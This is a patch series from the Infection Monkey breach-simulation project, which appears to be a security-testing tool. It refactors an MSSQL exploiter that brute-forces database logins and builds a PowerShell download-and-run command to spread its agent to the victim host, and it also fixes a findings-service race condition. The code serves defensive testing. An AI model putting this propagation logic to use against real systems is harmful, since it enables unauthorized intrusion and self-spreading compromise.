From 50a8bf8f4acd3764132b909ae8163cdef4d6e2d8 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 14 Mar 2022 12:11:28 +0200 Subject: [PATCH 1/8] Agent: Refactor mssqlexec.py to fit the new puppet infrastructure --- monkey/infection_monkey/exploit/mssqlexec.py | 57 +++++++++++-------- .../exploit/tools/http_tools.py | 4 +- 2 files changed, 35 insertions(+), 26 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index a3b6d8191..6247f3779 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -5,13 +5,17 @@ from time import sleep import pymssql +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from common.utils.exceptions import ExploitingVulnerableMachineError, FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_monkey_dest_path -from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer +from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, try_get_target_monkey +from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload +from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.model import DROPPER_ARG +from infection_monkey.transport import LockedHTTPServer +from infection_monkey.utils.brute_force import generate_identity_secret_pairs from infection_monkey.utils.commands import build_monkey_commandline logger = logging.getLogger(__name__) @@ -42,25 +46,26 @@ class MSSQLExploiter(HostExploiter): "DownloadFile(^'{http_path}^' , ^'{dst_path}^')" ) - def __init__(self, host): - super(MSSQLExploiter, self).__init__(host) + def __init__(self): + super().__init__() self.cursor = None - self.monkey_server = None + self.agent_http_path = None self.payload_file_path = os.path.join( MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME ) - def _exploit_host(self): + def _exploit_host(self) -> ExploiterResultData: """ First this method brute forces to get the mssql connection (cursor). Also, don't forget to start_monkey_server() before self.upload_monkey() and self.stop_monkey_server() after """ # Brute force to get connection - username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() - self.cursor = self.brute_force( - self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list + creds = generate_identity_secret_pairs( + self.options["credentials"]["exploit_user_list"], + self.options["credentials"]["exploit_password_list"], ) + self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds) # Create dir for payload self.create_temp_dir() @@ -68,9 +73,9 @@ class MSSQLExploiter(HostExploiter): try: self.create_empty_payload_file() - self.start_monkey_server() + http_thread = self.start_monkey_server() self.upload_monkey() - self.stop_monkey_server() + MSSQLExploiter._stop_monkey_server(http_thread) # Clear payload to pass in another command self.create_empty_payload_file() @@ -81,7 +86,8 @@ class MSSQLExploiter(HostExploiter): except Exception as e: raise ExploitingVulnerableMachineError(e.args).with_traceback(sys.exc_info()[2]) - return True + self.exploit_result.propagation_success = True + return self.exploit_result def run_payload_file(self): file_running_command = MSSQLLimitedSizePayload(self.payload_file_path) @@ -132,12 +138,17 @@ class MSSQLExploiter(HostExploiter): ) self.run_mssql_command(tmp_dir_removal_command) - def start_monkey_server(self): - self.monkey_server = MonkeyHTTPServer(self.host) - self.monkey_server.start() + def start_monkey_server(self) -> LockedHTTPServer: + monkey_src = try_get_target_monkey(self.host) + self.agent_http_path, http_thread = HTTPTools.create_locked_transfer( + self.host, monkey_src, self.agent_repository + ) + return http_thread - def stop_monkey_server(self): - self.monkey_server.stop() + @staticmethod + def _stop_monkey_server(http_thread): + http_thread.stop() + http_thread.join(LONG_REQUEST_TIMEOUT) def write_download_command_to_payload(self): monkey_download_command = self.get_monkey_download_command() @@ -145,9 +156,9 @@ class MSSQLExploiter(HostExploiter): return monkey_download_command def get_monkey_launch_command(self): - dst_path = get_monkey_dest_path(self.monkey_server.http_path) + dst_path = get_monkey_dest_path(self.agent_http_path) # Form monkey's launch command - monkey_args = build_monkey_commandline(self.host, get_monkey_depth() - 1, dst_path) + monkey_args = build_monkey_commandline(self.host, self.current_depth - 1, dst_path) suffix = ">>{}".format(self.payload_file_path) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX return MSSQLLimitedSizePayload( @@ -157,9 +168,9 @@ class MSSQLExploiter(HostExploiter): ) def get_monkey_download_command(self): - dst_path = get_monkey_dest_path(self.monkey_server.http_path) + dst_path = get_monkey_dest_path(self.agent_http_path) monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format( - http_path=self.monkey_server.http_path, dst_path=dst_path + http_path=self.agent_http_path, dst_path=dst_path ) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format( @@ -194,9 +205,9 @@ class MSSQLExploiter(HostExploiter): host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT ) logger.info( - "Successfully connected to host: {0}, using user: {1}, password (" - "SHA-512): {2}".format(host, user, self._config.hash_sensitive_data(password)) + f"Successfully connected to host: {host} using user: {user} and password" ) + self.exploit_result.exploitation_success = True self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT) self.report_login_attempt(True, user, password) cursor = conn.cursor() diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py index 467539180..43d62862f 100644 --- a/monkey/infection_monkey/exploit/tools/http_tools.py +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -1,6 +1,4 @@ import logging -import os -import os.path import urllib.error import urllib.parse import urllib.request @@ -30,7 +28,7 @@ class HTTPTools(object): @staticmethod def create_locked_transfer( host, dropper_target_path, agent_repository, local_ip=None, local_port=None - ): + ) -> LockedHTTPServer: """ Create http server for file transfer with a lock :param host: Variable with target's information From ae8e0b6dbbf7474c6bec7e7533308f9264b9ab14 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Mon, 14 Mar 2022 12:10:08 +0000 Subject: [PATCH 2/8] Agent: Refactor mssqlexec.py to use agent repository --- monkey/infection_monkey/exploit/mssqlexec.py | 10 +++--- .../infection_monkey/exploit/tools/helpers.py | 36 +++++-------------- 2 files changed, 13 insertions(+), 33 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 6247f3779..f1fdcd460 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -9,7 +9,7 @@ from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from common.utils.exceptions import ExploitingVulnerableMachineError, FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, try_get_target_monkey +from infection_monkey.exploit.tools.helpers import get_agent_dest_path, try_get_target_monkey from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload from infection_monkey.i_puppet import ExploiterResultData @@ -139,9 +139,9 @@ class MSSQLExploiter(HostExploiter): self.run_mssql_command(tmp_dir_removal_command) def start_monkey_server(self) -> LockedHTTPServer: - monkey_src = try_get_target_monkey(self.host) + dst_path = get_agent_dest_path(self.host, self.options) self.agent_http_path, http_thread = HTTPTools.create_locked_transfer( - self.host, monkey_src, self.agent_repository + self.host, dst_path, self.agent_repository ) return http_thread @@ -156,7 +156,7 @@ class MSSQLExploiter(HostExploiter): return monkey_download_command def get_monkey_launch_command(self): - dst_path = get_monkey_dest_path(self.agent_http_path) + dst_path = get_agent_dest_path(self.host, self.options) # Form monkey's launch command monkey_args = build_monkey_commandline(self.host, self.current_depth - 1, dst_path) suffix = ">>{}".format(self.payload_file_path) @@ -168,7 +168,7 @@ class MSSQLExploiter(HostExploiter): ) def get_monkey_download_command(self): - dst_path = get_monkey_dest_path(self.agent_http_path) + dst_path = get_agent_dest_path(self.host, self.options) monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format( http_path=self.agent_http_path, dst_path=dst_path ) diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index d0af82304..62cfda4da 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -1,4 +1,7 @@ import logging +from typing import Mapping, Any + +from infection_monkey.model import VictimHost logger = logging.getLogger(__name__) @@ -26,31 +29,8 @@ def get_monkey_depth(): return WormConfiguration.depth -def get_monkey_dest_path(url_to_monkey): - """ - Gets destination path from monkey's source url. - :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-64.exe - :return: Corresponding monkey path from configuration - """ - from infection_monkey.config import WormConfiguration - - if not url_to_monkey or ("linux" not in url_to_monkey and "windows" not in url_to_monkey): - logger.error("Can't get destination path because source path %s is invalid.", url_to_monkey) - return False - try: - if "linux" in url_to_monkey: - return WormConfiguration.dropper_target_path_linux - elif "windows-64" in url_to_monkey: - return WormConfiguration.dropper_target_path_win_64 - else: - logger.error( - "Could not figure out what type of monkey server was trying to upload, " - "thus destination path can not be chosen." - ) - return False - except AttributeError: - logger.error( - "Seems like monkey's source configuration property names changed. " - "Can not get destination path to upload monkey" - ) - return False +def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> str: + if host.os["type"] == "windows": + return options["dropper_target_path_win_64"] + else: + return options["dropper_target_path_linux"] From 14953c8cdd678462fe0cf8048e0b033029b73710 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Mon, 14 Mar 2022 12:11:00 +0000 Subject: [PATCH 3/8] Agent: register MSSQL exploiter plugin on the puppet --- monkey/infection_monkey/monkey.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 6313b2208..8a79a2f35 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -18,6 +18,7 @@ from infection_monkey.credential_collectors import ( from infection_monkey.exploit import CachingAgentRepository, ExploiterWrapper from infection_monkey.exploit.hadoop import HadoopExploiter from infection_monkey.exploit.log4shell import Log4ShellExploiter +from infection_monkey.exploit.mssqlexec import MSSQLExploiter from infection_monkey.exploit.sshexec import SSHExploiter from infection_monkey.exploit.wmiexec import WmiExploiter from infection_monkey.exploit.zerologon import ZerologonExploiter @@ -222,6 +223,7 @@ class InfectionMonkey: ) puppet.load_plugin("SSHExploiter", exploit_wrapper.wrap(SSHExploiter), PluginType.EXPLOITER) puppet.load_plugin("WmiExploiter", exploit_wrapper.wrap(WmiExploiter), PluginType.EXPLOITER) + puppet.load_plugin("MSSQLExploiter", exploit_wrapper.wrap(MSSQLExploiter), PluginType.EXPLOITER) puppet.load_plugin( "ZerologonExploiter", exploit_wrapper.wrap(ZerologonExploiter), From 29e494cfb153e7cbf840c45d6325bb8acde47add Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Mon, 14 Mar 2022 13:16:41 +0000 Subject: [PATCH 4/8] Island: Fix a ZT multiple findings bug A bug happened in zero trust findings: since multiple exploiters run at the same time, they send telemetries at the same time and those telemetries get parsed at the same time. So multiple threads fetch ZT findings at once, finds none and creates duplicate findings. With this bugfix only one thread can fetch for findings at a time. This means that one thread creates the finding and others fetch it and just add events to it --- .../monkey_zt_finding_service.py | 24 ++++++++++++------- 1 file changed, 15 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py index 6c8063eca..53f3e44a9 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py @@ -1,6 +1,7 @@ from typing import List from bson import ObjectId +from gevent.lock import BoundedSemaphore from common.common_consts import zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event @@ -9,6 +10,10 @@ from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFind class MonkeyZTFindingService: + + # Required to synchronize db state between different threads + _finding_lock = BoundedSemaphore() + @staticmethod def create_or_add_to_existing(test: str, status: str, events: List[Event]): """ @@ -20,16 +25,17 @@ class MonkeyZTFindingService: the query - this is not when this function should be used. """ - existing_findings = list(MonkeyFinding.objects(test=test, status=status)) - assert len(existing_findings) < 2, "More than one finding exists for {}:{}".format( - test, status - ) + with MonkeyZTFindingService._finding_lock: + existing_findings = list(MonkeyFinding.objects(test=test, status=status)) + assert len(existing_findings) < 2, "More than one finding exists for {}:{}".format( + test, status + ) - if len(existing_findings) == 0: - MonkeyZTFindingService.create_new_finding(test, status, events) - else: - # Now we know for sure this is the only one - MonkeyZTFindingService.add_events(existing_findings[0], events) + if len(existing_findings) == 0: + MonkeyZTFindingService.create_new_finding(test, status, events) + else: + # Now we know for sure this is the only one + MonkeyZTFindingService.add_events(existing_findings[0], events) @staticmethod def create_new_finding(test: str, status: str, events: List[Event]): From 66ee3527d25d948eb8837f898a69a5c925959e37 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 14 Mar 2022 15:40:04 +0200 Subject: [PATCH 5/8] Agent: Pre-commit hook fixes on MSSQL exploiter infrastructure --- monkey/infection_monkey/exploit/mssqlexec.py | 2 +- monkey/infection_monkey/exploit/tools/helpers.py | 2 +- monkey/infection_monkey/monkey.py | 4 +++- 3 files changed, 5 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index f1fdcd460..1272bfa3c 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -9,7 +9,7 @@ from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from common.utils.exceptions import ExploitingVulnerableMachineError, FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import get_agent_dest_path, try_get_target_monkey +from infection_monkey.exploit.tools.helpers import get_agent_dest_path from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload from infection_monkey.i_puppet import ExploiterResultData diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index 62cfda4da..7a72606bf 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -1,5 +1,5 @@ import logging -from typing import Mapping, Any +from typing import Any, Mapping from infection_monkey.model import VictimHost diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 8a79a2f35..cea09ff45 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -223,7 +223,9 @@ class InfectionMonkey: ) puppet.load_plugin("SSHExploiter", exploit_wrapper.wrap(SSHExploiter), PluginType.EXPLOITER) puppet.load_plugin("WmiExploiter", exploit_wrapper.wrap(WmiExploiter), PluginType.EXPLOITER) - puppet.load_plugin("MSSQLExploiter", exploit_wrapper.wrap(MSSQLExploiter), PluginType.EXPLOITER) + puppet.load_plugin( + "MSSQLExploiter", exploit_wrapper.wrap(MSSQLExploiter), PluginType.EXPLOITER + ) puppet.load_plugin( "ZerologonExploiter", exploit_wrapper.wrap(ZerologonExploiter), From 1f327a13059d2220b5874b8b256081d78ab12075 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 15 Mar 2022 08:51:22 +0200 Subject: [PATCH 6/8] Agent: Improve exception handling in mssqlexec.py --- monkey/common/utils/exceptions.py | 4 --- monkey/infection_monkey/exploit/mssqlexec.py | 32 +++++++++++--------- 2 files changed, 17 insertions(+), 19 deletions(-) diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py index fc114781d..2a0e369e9 100644 --- a/monkey/common/utils/exceptions.py +++ b/monkey/common/utils/exceptions.py @@ -1,7 +1,3 @@ -class ExploitingVulnerableMachineError(Exception): - """ Raise when exploiter failed, but machine is vulnerable """ - - class FailedExploitationError(Exception): """ Raise when exploiter fails instead of returning False """ diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 1272bfa3c..ab9cfc8dd 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,12 +1,11 @@ import logging import os -import sys from time import sleep import pymssql from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT -from common.utils.exceptions import ExploitingVulnerableMachineError, FailedExploitationError +from common.utils.exceptions import FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_agent_dest_path @@ -65,26 +64,29 @@ class MSSQLExploiter(HostExploiter): self.options["credentials"]["exploit_user_list"], self.options["credentials"]["exploit_password_list"], ) - self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds) + try: + self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds) + except FailedExploitationError: + logger.info( + f"Failed brute-forcing of MSSQL server on {self.host}," + f" no credentials were successful" + ) + return self.exploit_result # Create dir for payload self.create_temp_dir() + self.create_empty_payload_file() - try: - self.create_empty_payload_file() + http_thread = self.start_monkey_server() + self.upload_monkey() + MSSQLExploiter._stop_monkey_server(http_thread) - http_thread = self.start_monkey_server() - self.upload_monkey() - MSSQLExploiter._stop_monkey_server(http_thread) + # Clear payload to pass in another command + self.create_empty_payload_file() - # Clear payload to pass in another command - self.create_empty_payload_file() + self.run_monkey() - self.run_monkey() - - self.remove_temp_dir() - except Exception as e: - raise ExploitingVulnerableMachineError(e.args).with_traceback(sys.exc_info()[2]) + self.remove_temp_dir() self.exploit_result.propagation_success = True return self.exploit_result From 43c85284093a3c96b00678a85fd7308e42364e49 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 15 Mar 2022 14:10:35 +0200 Subject: [PATCH 7/8] Agent: Handle unexpected errors in mssqlexec.py --- monkey/infection_monkey/exploit/mssqlexec.py | 27 ++++++++++++-------- 1 file changed, 17 insertions(+), 10 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index ab9cfc8dd..0b18e824c 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -73,20 +73,27 @@ class MSSQLExploiter(HostExploiter): ) return self.exploit_result - # Create dir for payload - self.create_temp_dir() - self.create_empty_payload_file() + try: + # Create dir for payload + self.create_temp_dir() + self.create_empty_payload_file() - http_thread = self.start_monkey_server() - self.upload_monkey() - MSSQLExploiter._stop_monkey_server(http_thread) + http_thread = self.start_monkey_server() + self.upload_monkey() + MSSQLExploiter._stop_monkey_server(http_thread) - # Clear payload to pass in another command - self.create_empty_payload_file() + # Clear payload to pass in another command + self.create_empty_payload_file() - self.run_monkey() + self.run_monkey() - self.remove_temp_dir() + self.remove_temp_dir() + except Exception as e: + logger.error( + f"Unhandled exception occurred when trying " + f"to exploit MSSQL on host {self.host}: {e}" + ) + return self.exploit_result self.exploit_result.propagation_success = True return self.exploit_result From 62005e6f8894df9a53cec17916549935b0a6c895 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 15 Mar 2022 08:41:23 -0400 Subject: [PATCH 8/8] Agent: Store MSSQLExploiter error message in self.exploit_result --- monkey/infection_monkey/exploit/mssqlexec.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 0b18e824c..220268b76 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -89,10 +89,14 @@ class MSSQLExploiter(HostExploiter): self.remove_temp_dir() except Exception as e: - logger.error( - f"Unhandled exception occurred when trying " + error_message = ( + f"An unexpected error occurred when trying " f"to exploit MSSQL on host {self.host}: {e}" ) + + logger.error(error_message) + self.exploit_result.error_message = error_message + return self.exploit_result self.exploit_result.propagation_success = True